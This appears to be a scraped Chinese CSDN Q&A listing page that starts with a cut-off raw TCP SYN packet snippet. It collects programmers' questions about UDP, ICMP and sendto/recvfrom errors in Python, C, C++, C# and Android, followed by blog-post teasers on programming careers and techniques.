ip_header = create_ip_header(source_ip,dest_ip) tcp_header = create_tcp_syn_header(source_ip,dest_ip,80) packet = ip_header + tcp_header s.sendto(packet,(dest_ip,80)) ``` **结果** ![图片说明](https://img-ask.csdn.net/upload/201912/17/1576595985_556527.png)
这是一个关于PYTHON的socket问题
``` import time import array def jiaoyan(pack): if len(pack)%2==1: pack+=b'\0' words=array.array('h',pack) sum=0 for word in words: sum += word sum = (sum >> 16) + (sum & 0xffff) sum = (sum >> 16) + (sum & 0xffff) return (~sum) & 0xffff icmp=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP) icmp.settimeout(3) header = struct.pack('bbHHh', 8,0,0,1234, 1) data=struct.pack('5s',b'haasd') print(jiaoyan(header+data)) icmp.sendto(jiaoyan(header+data), ('127.0.0.1', 1)) ``` 这是我写的一个python程序,我想完成icmp的封装,发出去,接回来,但是我写的代码最后一行出了错。我不清楚错在哪里。。 看下面的就行 ,下面的是我新更新的! ![图片说明](https://img-ask.csdn.net/upload/201910/21/1571670441_55238.png) 按理说 不应该出现问题的,校验的返回类型应该是二进制的,最后一条代码应该没问题
linux c写了一个UDP服务器,然后通过网络助手做作为客户端,UDP无法接收到数据
#include <sys/types.h> #include <sys/socket.h> #include<pthread.h> #include <netinet/in.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include<arpa/inet.h> //#include<cstdlib.h> char* PORT="5588"; //server's port char* SOCKET_SERVER_IP="192.168.1.105"; // int main() { printf("Welcome! This is a UDP server, I can only received message from client and reply with same message\n"); struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(atoi(PORT)); addr.sin_addr.s_addr = htonl(INADDR_ANY); int sock; if ( (sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); exit(1); } //port bind to server if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); exit(1); } char buff[512]; struct sockaddr_in clientAddr; memset(&clientAddr,0,sizeof(clientAddr)); size_t n; socklen_t len = sizeof(clientAddr); while (1) { n = recvfrom(sock, buff, 511, 0, (struct sockaddr*)&clientAddr, &len); if (n>0) { buff[n] = 0; printf("%s %u says: %s\n", inet_ntoa(clientAddr.sin_addr), ntohs(clientAddr.sin_port), buff); n = sendto(sock, buff, n, 0, (struct sockaddr *)&clientAddr, sizeof(clientAddr)); if (n < 0) { perror("sendto"); break; } } else { perror("recv"); break; } } return 0; } 然后网络助手设置如下,防火墙那些都关闭了。![图片说明](https://img-ask.csdn.net/upload/201911/22/1574436191_472978.png)![图片说明](https://img-ask.csdn.net/upload/201911/22/1574436199_451099.png)![图片说明](https://img-ask.csdn.net/upload/201911/22/1574436203_191706.png) 很奇怪,为何服务器会收不到网络助手发的数据,求解啊。卡了2天了
android upd广播 sendto failed: ENETUNRE
手机间发送和接受udp广播 在手机都连的是路由是是没问题的 但是在手机用自带的wifi热点连接时 发送端发送udp广播时会抛出以下错误 java.net.SocketException: sendto failed: ENETUNREACH (Network is unreachable) at libcore.io.IoBridge.maybeThrowAfterSendto(IoBridge.java:541) at libcore.io.IoBridge.sendto(IoBridge.java:510) at java.net.PlainDatagramSocketImpl.send(PlainDatagramSocketImpl.java:182) at java.net.DatagramSocket.send(DatagramSocket.java:284) at com.example.udp_sreverdemo.SendThead.run(SendThead.java:97) Caused by: libcore.io.ErrnoException: sendto failed: ENETUNREACH (Network is unreachable) at libcore.io.Posix.sendtoBytes(Native Method) at libcore.io.Posix.sendto(Posix.java:146) at libcore.io.BlockGuardOs.sendto(BlockGuardOs.java:177) at libcore.io.IoBridge.sendto(IoBridge.java:508) 注 : 在手机用自带的wifi热点连接时 是可以ping通的
c# udp sendto目标未开 receivefrom接收不到数据
使用UDP转发数据,转发程序接收数据发给另一个程序C,如果这时接收程序C关了,那么转发程序不再接收数据,而第一个程序一直在发数据 A客户端调用sendto发数据给B客户端 B客户端接受数据后,sendto给C客户端 如果C客户端未开,B发送1条数据后,发送后无异常也不知道成功没,但B不再接收A客户端的数据,即receiveFrom方法也不能用 如果C客户端一直开,则B客户端既能接收数据,又能发送数据 B就是个转发的,C断了之后,B竟然不接收A的数据了 请问大神们,这是个什么原因
C++ 中的sendTo和recvFrom函数问题
有两个电脑,代码在192.168.1.253上运行, 192.168.1.45上运行的是网络调试助手。 addrClient变量不赋值,或者ip地址设为其他错误值,如192.168.1.47,recvfrom依然可以收到192.168.1.45发来的数据;sendto也依然可以发送数据到192.168.1.45,这是为什么?? ``` WORD wVersionRequested; WSADATA wsaData; int err; wVersionRequested=MAKEWORD(2,2); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0) { return; } if (LOBYTE(wsaData.wVersion)!=2 || HIBYTE(wsaData.wVersion)!=2) { WSACleanup(); return; } SOCKET sockSrv=socket(AF_INET,SOCK_DGRAM,0); SOCKADDR_IN addrSrv; // addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY); addrSrv.sin_addr.S_un.S_addr=inet_addr("192.168.1.253"); addrSrv.sin_family=AF_INET; addrSrv.sin_port=htons(6000); bind(sockSrv,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)); SOCKADDR_IN addrClient; //addrClient不赋值也不影响接收和发送,为什么????? // memset(&addrClient, 0, sizeof(addrClient)); // addrClient.sin_addr.S_un.S_addr=inet_addr("192.168.1.45"); // addrClient.sin_addr.S_un.S_addr=inet_addr("192.168.1.47"); // addrClient.sin_family=AF_INET; // addrClient.sin_port=htons(8080); int len=sizeof(SOCKADDR); char recvBuf[100]; int count = recvfrom(sockSrv,recvBuf,100,0,(SOCKADDR*)&addrClient,&len); sendto(sockSrv,"nullptr", strlen("nullptr")+1, 0, (SOCKADDR*)&addrClient,len); for(int i = 0; i < count; i++) printf("%d\n",recvBuf[i]); closesocket(sockSrv); WSACleanup(); ```
socket error 9怎么解决?什么原因?
linux下用c网络编程用sendto发送数据,总返回socket error代号9是什么错误呢?
用多线程可以实现UDP多任务,今天尝试引用多进程实现UDP多任务时却报错 EOFError: EOF when reading a line 这是怎么回事呢?
import socket import multiprocessing def recv(udp_socket): while True: recv_data= udp_socket.recvfrom(1024) print(recv_data[1],":",recv_data[0].decode("utf-8")) def send(udp_socket,client_addr): while True: send_data= input("请输入要发送的消息:") udp_socket.sendto(send_data.encode("utf-8"),client_addr) def main(): udp_socket= socket.socket(socket.AF_INET,socket.SOCK_DGRAM) client_addr= ("127.0.0.1",7788) udp_socket.bind(("127.0.0.1",8080)) p1=multiprocessing.Process(target=recv,args=(udp_socket,)) p2=multiprocessing.Process(target=send,args=(udp_socket,client_addr)) p1.start() p2.start() p1.join() p2.join() udp_socket.close() if __name__ == "__main__": main()
UDP绑定本地端口和IP,用sendto向指定端口发广播数据失败
MFC下,上位机采用UDP协议,绑定本地端口60000,向目标端口50000发送广播数据,然后单片机应答。但是上位机调用sendto函数发送失败!
爬虫福利二 之 妹子图网MM批量下载
爬虫福利一:27报网MM批量下载 点击 看了本文,相信大家对爬虫一定会产生强烈的兴趣,激励自己去学习爬虫,在这里提前祝:大家学有所成! 目标网站:妹子图网 环境:Python3.x 相关第三方模块:requests、beautifulsoup4 Re:各位在测试时只需要将代码里的变量path 指定为你当前系统要保存的路径,使用 python xxx.py 或IDE运行即可。 ...
字节跳动视频编解码面经
三四月份投了字节跳动的实习(图形图像岗位),然后hr打电话过来问了一下会不会opengl,c++,shador,当时只会一点c++,其他两个都不会,也就直接被拒了。 七月初内推了字节跳动的提前批,因为内推没有具体的岗位,hr又打电话问要不要考虑一下图形图像岗,我说实习投过这个岗位不合适,不会opengl和shador,然后hr就说秋招更看重基础。我当时想着能进去就不错了,管他哪个岗呢,就同意了面试...
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它是一个过程,是一个不断累积、不断沉淀、不断总结、善于传达自己的个人见解以及乐于分享的过程。
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过...
linux系列之常用运维命令整理笔录
本博客记录工作中需要的linux运维命令,大学时候开始接触linux,会一些基本操作,可是都没有整理起来,加上是做开发,不做运维,有些命令忘记了,所以现在整理成博客,当然vi,文件操作等就不介绍了,慢慢积累一些其它拓展的命令,博客不定时更新 free -m 其中:m表示兆,也可以用g,注意都要小写 Men:表示物理内存统计 total:表示物理内存总数(total=used+free) use...
Python 基础(一):入门必备知识
Python 入门必备知识,你都掌握了吗?
兼职程序员一般可以从什么平台接私活?
这个问题我进行了系统性的总结,以下将进行言简意赅的说明和渠道提供,希望对各位小猿/小媛们有帮助~ 根据我们的经验,程序员兼职主要分为三种:兼职职位众包、项目整包和自由职业者驻场。 所谓的兼职职位众包,指的是需求方这边有自有工程师配合,只需要某个职位的工程师开发某个模块的项目。比如开发一个 app,后端接口有人开发,但是缺少 iOS 前端开发工程师,那么他们就会发布一个职位招聘前端,来配合公司一...
程序员接私活怎样防止做完了不给钱?
首先跟大家说明一点,我们做 IT 类的外包开发,是非标品开发,所以很有可能在开发过程中会有这样那样的需求修改,而这种需求修改很容易造成扯皮,进而影响到费用支付,甚至出现做完了项目收不到钱的情况。 那么,怎么保证自己的薪酬安全呢? 我们在开工前,一定要做好一些证据方面的准备(也就是“讨薪”的理论依据),这其中最重要的就是需求文档和验收标准。一定要让需求方提供这两个文档资料作为开发的基础。之后开发...
Python十大装B语法
Python 是一种代表简单思想的语言,其语法相对简单,很容易上手。不过,如果就此小视 Python 语法的精妙和深邃,那就大错特错了。本文精心筛选了最能展现 Python 语法之精妙的十个知识点,并附上详细的实例代码。如能在实战中融会贯通、灵活使用,必将使代码更为精炼、高效,同时也会极大提升代码B格,使之看上去更老练,读起来更优雅。
数据库优化 - SQL优化
以实际SQL入手,带你一步一步走上SQL优化之路!
2019年11月中国大陆编程语言排行榜
2019年11月2日,我统计了某招聘网站,获得有效程序员招聘数据9万条。针对招聘信息,提取编程语言关键字,并统计如下: 编程语言比例 rank pl_ percentage 1 java 33.62% 2 cpp 16.42% 3 c_sharp 12.82% 4 javascript 12.31% 5 python 7.93% 6 go 7.25% 7 p...
写了很久,这是一份最适合/贴切普通大众/科班/非科班的『学习路线』
说实话,对于学习路线这种文章我一般是不写的,大家看我的文章也知道,我是很少写建议别人怎么样怎么样的文章,更多的是,写自己的真实经历,然后供大家去参考,这样子,我内心也比较踏实,也不怕误导他人。 但是,最近好多人问我学习路线,而且很多大一大二的,说自己很迷茫,看到我那篇 普普通通,我的三年大学 之后很受激励,觉得自己也能行,(是的,别太浪,你一定能行)希望我能给他个学习路线,说...
经典算法(5)杨辉三角
写在前面: 我是 扬帆向海,这个昵称来源于我的名字以及女朋友的名字。我热爱技术、热爱开源、热爱编程。技术是开源的、知识是共享的。 这博客是对自己学习的一点点总结及记录,如果您对 Java、算法 感兴趣,可以关注我的动态,我们一起学习。 用知识改变命运,让我们的家人过上更好的生活。 目录一、杨辉三角的介绍二、杨辉三角的算法思想三、代码实现1.第一种写法2.第二种写法 一、杨辉三角的介绍 百度
腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹?
昨天,有网友私信我,说去阿里面试,彻底的被打击到了。问了为什么网上大量使用ThreadLocal的源码都会加上private static?他被难住了,因为他从来都没有考虑过这个问题。无独有偶,今天笔者又发现有网友吐槽了一道腾讯的面试题,我们一起来看看。 腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹? 在互联网职场论坛,一名程序员发帖求助到。二面腾讯,其中一个算法题:64匹...
面试官:你连RESTful都不知道我怎么敢要你?
干货,2019 RESTful最贱实践
为啥国人偏爱Mybatis,而老外喜欢Hibernate/JPA呢?
关于SQL和ORM的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行了一番讨论,感触还是有一些,于是就有了今天这篇文。 声明:本文不会下关于Mybatis和JPA两个持久层框架哪个更好这样的结论。只是摆事实,讲道理,所以,请各位看官勿喷。 一、事件起因 关于Mybatis和JPA孰优孰劣的问题,争论已经很多年了。一直也没有结论,毕竟每个人的喜好和习惯是大不相同的。我也看...
SQL-小白最佳入门sql查询一
不要偷偷的查询我的个人资料,即使你再喜欢我,也不要这样,真的不好;
项目中的if else太多了,该怎么重构?
介绍 最近跟着公司的大佬开发了一款IM系统,类似QQ和微信哈,就是聊天软件。我们有一部分业务逻辑是这样的 if (msgType = "文本") { // dosomething } else if(msgType = "图片") { // doshomething } else if(msgType = "视频") { // doshomething } else { // doshom...
致 Python 初学者
欢迎来到“Python进阶”专栏!来到这里的每一位同学,应该大致上学习了很多 Python 的基础知识,正在努力成长的过程中。在此期间,一定遇到了很多的困惑,对未来的学习方向感到迷茫。我非常理解你们所面临的处境。我从2007年开始接触 python 这门编程语言,从2009年开始单一使用 python 应对所有的开发工作,直至今天。回顾自己的学习过程,也曾经遇到过无数的困难,也曾经迷茫过、困惑过。开办这个专栏,正是为了帮助像我当年一样困惑的 Python 初学者走出困境、快速成长。希望我的经验能真正帮到你
“狗屁不通文章生成器”登顶GitHub热榜,分分钟写出万字形式主义大作
一、垃圾文字生成器介绍 最近在浏览GitHub的时候,发现了这样一个骨骼清奇的雷人项目,而且热度还特别高。 项目中文名:狗屁不通文章生成器 项目英文名:BullshitGenerator 根据作者的介绍,他是偶尔需要一些中文文字用于GUI开发时测试文本渲染,因此开发了这个废话生成器。但由于生成的废话实在是太过富于哲理,所以最近已经被小伙伴们给玩坏了。 他的文风可能是这样的: 你发现,
程序员:我终于知道post和get的区别
IT界知名的程序员曾说:对于那些月薪三万以下,自称IT工程师的码农们,其实我们从来没有把他们归为我们IT工程师的队伍。他们虽然总是以IT工程师自居,但只是他们一厢情愿罢了。 此话一出,不知激起了多少(码农)程序员的愤怒,却又无可奈何,于是码农问程序员。 码农:你知道get和post请求到底有什么区别? 程序员:你看这篇就知道了。 码农:你月薪三万了? 程序员:嗯。 码农:你是怎么做到的? 程序员:
《程序人生》系列-这个程序员只用了20行代码就拿了冠军
你知道的越多,你不知道的越多 点赞再看,养成习惯GitHub上已经开源https://github.com/JavaFamily,有一线大厂面试点脑图,欢迎Star和完善 前言 这一期不算《吊打面试官》系列的,所有没前言我直接开始。 絮叨 本来应该是没有这期的,看过我上期的小伙伴应该是知道的嘛,双十一比较忙嘛,要值班又要去帮忙拍摄年会的视频素材,还得搞个程序员一天的Vlog,还要写BU
加快推动区块链技术和产业创新发展,2019可信区块链峰会在京召开
11月8日,由中国信息通信研究院、中国通信标准化协会、中国互联网协会、可信区块链推进计划联合主办,科技行者协办的2019可信区块链峰会将在北京悠唐皇冠假日酒店开幕。   区块链技术被认为是继蒸汽机、电力、互联网之后,下一代颠覆性的核心技术。如果说蒸汽机释放了人类的生产力,电力解决了人类基本的生活需求,互联网彻底改变了信息传递的方式,区块链作为构造信任的技术有重要的价值。   1...
程序员把地府后台管理系统做出来了,还有3.0版本!12月7号最新消息:已在开发中有github地址
第一幕:缘起 听说阎王爷要做个生死簿后台管理系统,我们派去了一个程序员…… 996程序员做的梦: 第一场:团队招募 为了应对地府管理危机,阎王打算找“人”开发一套地府后台管理系统,于是就在地府总经办群中发了项目需求。 话说还是中国电信的信号好,地府都是满格,哈哈!!! 经常会有外行朋友问:看某网站做的不错,功能也简单,你帮忙做一下? 而这次,面对这样的需求,这个程序员
网易云6亿用户音乐推荐算法
网易云音乐是音乐爱好者的集聚地,云音乐推荐系统致力于通过 AI 算法的落地,实现用户千人千面的个性化推荐,为用户带来不一样的听歌体验。 本次分享重点介绍 AI 算法在音乐推荐中的应用实践,以及在算法落地过程中遇到的挑战和解决方案。 将从如下两个部分展开: AI 算法在音乐推荐中的应用 音乐场景下的 AI 思考 从 2013 年 4 月正式上线至今,网易云音乐平台持续提供着:乐屏社区、UGC
8年经验面试官详解 Java 面试秘诀
    作者 | 胡书敏 责编 | 刘静 出品 | CSDN(ID:CSDNnews) 本人目前在一家知名外企担任架构师,而且最近八年来,在多家外企和互联网公司担任Java技术面试官,前后累计面试了有两三百位候选人。在本文里,就将结合本人的面试经验,针对Java初学者、Java初级开发和Java开发,给出若干准备简历和准备面试的建议。   Java程序员准备和投递简历的实
面试官如何考察你的思维方式?
1.两种思维方式在求职面试中,经常会考察这种问题:北京有多少量特斯拉汽车? 某胡同口的煎饼摊一年能卖出多少个煎饼? 深圳有多少个产品经理? 一辆公交车里能装下多少个乒乓球? 一
碎片化的时代,如何学习
今天周末,和大家聊聊学习这件事情。 在如今这个社会,我们的时间被各类 APP 撕的粉碎。 刷知乎、刷微博、刷朋友圈; 看论坛、看博客、看公号; 等等形形色色的信息和知识获取方式一个都不错过。 貌似学了很多,但是却感觉没什么用。 要解决上面这些问题,首先要分清楚一点,什么是信息,什么是知识。 那什么是信息呢? 你一切听到的、看到的,都是信息,比如微博上的明星出轨、微信中的表情大战、抖音上的...
so easy! 10行代码写个"狗屁不通"文章生成器
前几天,GitHub 有个开源项目特别火,只要输入标题就可以生成一篇长长的文章。 背后实现代码一定很复杂吧,里面一定有很多高深莫测的机器学习等复杂算法 不过,当我看了源代码之后 这程序不到50行 尽管我有多年的Python经验,但我竟然一时也没有看懂 当然啦,原作者也说了,这个代码也是在无聊中诞生的,平时撸码是不写中文变量名的, 中文...
知乎高赞:中国有什么拿得出手的开源软件产品?(整理自本人原创回答)
知乎高赞:中国有什么拿得出手的开源软件产品? 在知乎上,有个问题问“中国有什么拿得出手的开源软件产品(在 GitHub 等社区受欢迎度较好的)?” 事实上,还不少呢~ 本人于2019.7.6进行了较为全面的回答,对这些受欢迎的 Github 开源项目分类整理如下: 分布式计算、云平台相关工具类 1.SkyWalking,作者吴晟、刘浩杨 等等 仓库地址: apache/skywalking 更...
基础拾遗:除了&和&&的区别,你还要知道位运算的这5个运算符
&和&&都可作逻辑与的运算符,表示逻辑与(and),&是位运算符,你还需要知道这5个位运算符,基础很重要,云运算其实很骚!
MySQL数据库总结
一、数据库简介 数据库(Database,DB)是按照数据结构来组织,存储和管理数据的仓库。 典型特征:数据的结构化、数据间的共享、减少数据的冗余度,数据的独立性。 关系型数据库:使用关系模型把数据组织到数据表(table)中。现实世界可以用数据来描述。 主流的关系型数据库产品:Oracle(Oracle)、DB2(IBM)、SQL Server(MS)、MySQL(Oracle)。 数据表:数...
相关热词 c# 输入ip c# 乱码 报表 c#选择结构应用基本算法 c# 收到udp包后回包 c#oracle 头文件 c# 序列化对象 自定义 c# tcp 心跳 c# ice连接服务端 c# md5 解密 c# 文字导航控件
立即提问